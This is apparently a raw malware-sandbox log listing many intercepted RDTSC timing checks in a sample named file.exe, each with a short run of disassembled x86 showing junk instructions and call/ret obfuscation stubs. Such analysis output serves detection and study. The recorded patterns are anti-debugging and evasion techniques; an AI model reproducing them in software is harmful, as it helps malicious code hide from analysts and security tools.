Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5433 second address: CB54B5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD2D8EB8E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d je 00007FD2D8EB8E46h 0x00000013 jmp 00007FD2D8EB8E40h 0x00000018 pop eax 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FD2D8EB8E38h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov ebx, 2EAC76FFh 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push eax 0x0000003e call 00007FD2D8EB8E38h 0x00000043 pop eax 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc eax 0x00000051 push eax 0x00000052 ret 0x00000053 pop eax 0x00000054 ret 0x00000055 push 00000000h 0x00000057 mov edi, eax 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FD2D8EB8E3Fh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB4604 second address: CB4612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB4612 second address: CB4616 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB4616 second address: CB461C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB461C second address: CB4621 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7644 second address: CB76BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F87Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D326Dh], eax 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FD2D8B2F878h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov edi, 48EB7C18h 0x00000032 mov dword ptr [ebp+122D1919h], eax 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007FD2D8B2F878h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 add edi, 6DB078D0h 0x0000005a xchg eax, esi 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB76BC second address: CB76C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB76C0 second address: CB76CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB76CA second address: CB76CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB76CE second address: CB76D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB76D2 second address: CB76DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB86F2 second address: CB86F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB86F8 second address: CB86FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7886 second address: CB789A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD2D8B2F87Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB86FC second address: CB8700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8700 second address: CB8796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FD2D8B2F878h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 je 00007FD2D8B2F87Ch 0x0000002b mov edi, dword ptr [ebp+12464BC6h] 0x00000031 push 00000000h 0x00000033 jmp 00007FD2D8B2F87Dh 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007FD2D8B2F878h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 add dword ptr [ebp+122D2B18h], edi 0x0000005a mov edi, dword ptr [ebp+122D2359h] 0x00000060 cld 0x00000061 xchg eax, esi 0x00000062 jmp 00007FD2D8B2F880h 0x00000067 push eax 0x00000068 pushad 0x00000069 js 00007FD2D8B2F87Ch 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA92D second address: CBA933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA933 second address: CBA937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCA41 second address: CBCACA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FD2D8EB8E38h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov bl, ah 0x00000026 mov bl, ah 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007FD2D8EB8E38h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 mov ebx, dword ptr [ebp+122D246Bh] 0x0000004a push 00000000h 0x0000004c push 00000000h 0x0000004e push esi 0x0000004f call 00007FD2D8EB8E38h 0x00000054 pop esi 0x00000055 mov dword ptr [esp+04h], esi 0x00000059 add dword ptr [esp+04h], 0000001Dh 0x00000061 inc esi 0x00000062 push esi 0x00000063 ret 0x00000064 pop esi 0x00000065 ret 0x00000066 xchg eax, esi 0x00000067 pushad 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCACA second address: CBCAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCAD5 second address: CBCAEE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jno 00007FD2D8EB8E3Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCAEE second address: CBCAF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBAB50 second address: CBABC6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD2D8EB8E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FD2D8EB8E38h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push dword ptr fs:[00000000h] 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 sub dword ptr [ebp+122D1BAEh], edx 0x0000003a mov eax, dword ptr [ebp+122D06D1h] 0x00000040 push 00000000h 0x00000042 push ecx 0x00000043 call 00007FD2D8EB8E38h 0x00000048 pop ecx 0x00000049 mov dword ptr [esp+04h], ecx 0x0000004d add dword ptr [esp+04h], 0000001Ah 0x00000055 inc ecx 0x00000056 push ecx 0x00000057 ret 0x00000058 pop ecx 0x00000059 ret 0x0000005a mov dword ptr [ebp+122D17D5h], edi 0x00000060 push FFFFFFFFh 0x00000062 nop 0x00000063 pushad 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBABC6 second address: CBABD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD2D8B2F876h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBABD5 second address: CBABEB instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2D8EB8E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jne 00007FD2D8EB8E36h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBDCBD second address: CBDCC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFD3E second address: CBFD42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFD42 second address: CBFD46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFD46 second address: CBFD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBDCC5 second address: CBDD73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FD2D8B2F878h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D2B71h], ecx 0x00000029 push dword ptr fs:[00000000h] 0x00000030 jmp 00007FD2D8B2F884h 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c call 00007FD2D8B2F886h 0x00000041 push eax 0x00000042 xor bl, FFFFFFDFh 0x00000045 pop edi 0x00000046 pop edi 0x00000047 mov eax, dword ptr [ebp+122D1641h] 0x0000004d push 00000000h 0x0000004f push eax 0x00000050 call 00007FD2D8B2F878h 0x00000055 pop eax 0x00000056 mov dword ptr [esp+04h], eax 0x0000005a add dword ptr [esp+04h], 00000014h 0x00000062 inc eax 0x00000063 push eax 0x00000064 ret 0x00000065 pop eax 0x00000066 ret 0x00000067 mov ebx, dword ptr [ebp+122D3ACBh] 0x0000006d push FFFFFFFFh 0x0000006f jmp 00007FD2D8B2F87Dh 0x00000074 nop 0x00000075 push eax 0x00000076 push edx 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBDD73 second address: CBDD88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBDD88 second address: CBDDBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FD2D8B2F880h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jc 00007FD2D8B2F895h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD2D8B2F883h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEF26 second address: CBEF37 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD2D8EB8E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEF37 second address: CBEF42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD2D8B2F876h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBFF75 second address: CBFF7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9A4F second address: CC9A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC91E1 second address: CC91EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC91EC second address: CC91F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEFA6 second address: CCEFEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jc 00007FD2D8EB8E44h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jmp 00007FD2D8EB8E47h 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push esi 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF0C0 second address: CCF0C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF0C6 second address: CCF0CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF0CA second address: CCF0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jns 00007FD2D8B2F882h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jnl 00007FD2D8B2F880h 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF0FE second address: CCF102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF102 second address: CCF135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FD2D8B2F87Bh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD2D8B2F888h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4CE1 second address: CD4D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edi 0x00000008 jno 00007FD2D8EB8E4Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3FC9 second address: CD3FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3FCD second address: CD3FD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD454C second address: CD4561 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F87Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD481B second address: CD4833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2D8EB8E43h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4833 second address: CD485C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F885h 0x00000007 push edi 0x00000008 push edi 0x00000009 pop edi 0x0000000a ja 00007FD2D8B2F876h 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4A07 second address: CD4A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9417 second address: CD9443 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F87Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c je 00007FD2D8B2F876h 0x00000012 jmp 00007FD2D8B2F884h 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9443 second address: CD945E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8EB8E46h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3959 second address: CA3989 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2D8B2F883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007FD2D8B2F882h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3989 second address: C88E52 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD2D8EB8E3Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FD2D8EB8E38h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1F77h], eax 0x0000002b lea eax, dword ptr [ebp+124876D3h] 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007FD2D8EB8E38h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b jg 00007FD2D8EB8E44h 0x00000051 push eax 0x00000052 jmp 00007FD2D8EB8E3Ch 0x00000057 mov dword ptr [esp], eax 0x0000005a and ecx, dword ptr [ebp+122D39DBh] 0x00000060 call dword ptr [ebp+122D1B3Dh] 0x00000066 pushad 0x00000067 jno 00007FD2D8EB8E48h 0x0000006d jne 00007FD2D8EB8E38h 0x00000073 push edx 0x00000074 pop edx 0x00000075 push eax 0x00000076 push edx 0x00000077 push ecx 0x00000078 pop ecx 0x00000079 jmp 00007FD2D8EB8E3Bh 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3AA7 second address: CA3AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3AAB second address: CA3AB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4076 second address: CA407A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA407A second address: CA4090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FD2D8EB8E36h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4090 second address: CA40B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FD2D8B2F888h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA40B0 second address: CA40C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA40C3 second address: CA40C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA40C7 second address: CA40DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FD2D8EB8E36h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA40DB second address: CA40DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA40DF second address: CA40FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pop eax 0x00000008 mov di, ax 0x0000000b push 3F244CF2h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jp 00007FD2D8EB8E36h 0x00000019 jnp 00007FD2D8EB8E36h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4263 second address: CA426D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD2D8B2F876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA433B second address: CA4341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA4886 second address: CA48DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D1B8Dh], ecx 0x0000000f push 0000001Eh 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FD2D8B2F878h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D3BDBh] 0x00000031 nop 0x00000032 push eax 0x00000033 push edi 0x00000034 jmp 00007FD2D8B2F87Bh 0x00000039 pop edi 0x0000003a pop eax 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FD2D8B2F87Dh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA48DD second address: CA48E7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD2D8EB8E3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
